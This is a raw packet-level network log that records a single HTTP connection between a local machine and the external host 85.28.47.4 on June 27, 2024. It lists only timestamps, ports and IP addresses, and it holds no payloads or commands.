Jun 27, 2024 19:26:01.607687950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.607687950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.608212948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.608227968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.608242989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.608257055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.608263016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.608269930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.608278990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.608292103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.608295918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.608313084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.608326912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.608326912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.608345032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.608365059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.608371019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.608371973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.608371973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.608381987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.608396053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.608402014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.608417034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.608417988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.608453035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.608453989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.608453035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.608469963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.608477116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.608496904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.608513117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.608513117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.608536959 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.609118938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.609138012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.609152079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.609165907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.609179974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.609193087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.609194994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.609211922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.609215021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.609227896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.609242916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.609244108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.609258890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.609265089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.609277010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.609289885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.609293938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.609307051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.609308958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.609324932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.609338999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.609340906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.609354019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.609363079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.609371901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.609380007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.609401941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.609426022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.610100985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.610117912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.610137939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.610152006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.610166073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.610167980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.610183001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.610188961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.610198975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.610213041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.610214949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.610229969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.610233068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.610246897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.610258102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.610264063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.610279083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.610280991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.610299110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.610306025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.610306025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.610315084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.610326052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.610332012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.610347986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.610352039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.610352039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.610371113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.610389948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.610986948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611002922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611017942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611037970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611048937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.611056089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611072063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.611073017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611088991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611102104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.611105919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611121893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.611121893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611139059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611143112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.611154079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611166954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.611171961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611190081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611191034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.611207008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611211061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.611223936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611236095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.611236095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.611254930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.611274004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.611901045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611917019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611932039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611947060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611963034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611968994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.611980915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.611993074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.611998081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.612011909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.612015009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.612030983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.612030983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.612046957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.612054110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.612061977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.612078905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.612081051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.612095118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.612104893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.612112999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.612128019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.612129927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.612154007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.612173080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.612679005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.612695932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.612709999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.612725973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.612744093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.612783909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.612783909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.694571972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.694607019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.694622040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.694662094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.694715023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.694771051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.694785118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.694799900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.694814920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.694832087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.694844961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.694844961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.694876909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.694971085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695064068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695080042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695096016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695106983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.695111990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695126057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.695127964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695146084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.695168972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.695355892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695369959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695406914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.695420027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695427895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.695436954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695452929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695466995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.695467949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695487022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695502996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695518970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695518970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.695518970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.695518970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.695548058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.695548058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.695568085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.695851088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695867062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695880890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695894957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695909977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.695919037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695931911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.695936918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.695960999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.695960999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.695988894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.696167946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.696182966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.696196079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.696219921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.696224928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.696233988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.696245909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.696249962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.696266890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.696273088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.696273088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.696281910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.696300983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.696314096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.696314096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.696316957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.696333885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.696341038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.696341038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.696350098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.696371078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.696372032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.696373940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.696389914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.696397066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.696408033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.696414948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.696434975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.696455002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.697078943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697093964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697108030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697123051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697130919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697146893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697151899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.697163105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697177887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.697181940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697195053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.697197914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697215080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697217941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.697231054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697238922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.697247028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697263002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697276115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.697276115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.697278023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697294950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697302103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.697302103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.697312117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697328091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.697328091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.697345972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.697906017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697921038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697937012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697962999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697966099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.697978973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.697989941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.697995901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.698012114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.698019981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.698026896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.698040962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.698043108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.698059082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.698060036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.698074102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.698086023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.698086023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.698092937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.698108912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.698112965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.698112965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.698126078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.698137045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.698143005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.698152065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.698169947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.698189020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.698904991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.698920012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.698935032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.698950052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.698960066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.698960066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.698966026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.698982000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.698987961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.698987961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.698997974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699007988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.699016094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699033022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699034929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.699034929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.699048996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699054003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.699067116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699070930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.699083090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699090958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.699100018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699114084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.699117899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699135065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699140072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.699140072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.699152946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699158907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.699177980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.699198008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.699812889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699827909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699842930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699858904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699872971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699881077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.699888945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699904919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699907064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.699907064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.699922085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699932098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.699937105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699948072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.699954987 CEST	80	49705	85.28.47.4	192.168.2.5
